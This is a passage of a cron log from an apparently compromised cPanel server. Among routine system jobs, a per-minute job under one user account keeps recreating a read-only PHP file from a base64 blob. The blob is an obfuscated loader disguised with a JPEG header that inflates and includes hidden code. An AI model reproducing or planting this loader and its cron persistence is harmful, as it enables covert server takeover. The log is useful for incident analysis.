BRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:25:01 server CROND[23587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:25:01 server CROND[23586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:25:01 server CROND[23588]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 10:25:01 server CROND[23589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:26:01 server CROND[23739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:27:01 server CROND[23922]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 10:27:01 server CROND[23924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:28:01 server CROND[23972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:29:01 server CROND[24036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:30:01 server CROND[24095]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:30:01 server CROND[24096]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 10:30:01 server CROND[24098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:30:01 server CROND[24097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:31:01 server CROND[24217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:32:01 server CROND[24371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:33:01 server CROND[24424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:34:01 server CROND[24479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:35:01 server CROND[24541]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 10:35:01 server CROND[24542]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 10:35:01 server CROND[24544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:35:01 server CROND[24546]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:35:01 server CROND[24547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:36:01 server CROND[24696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:37:01 server CROND[24844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:38:01 server CROND[24912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgy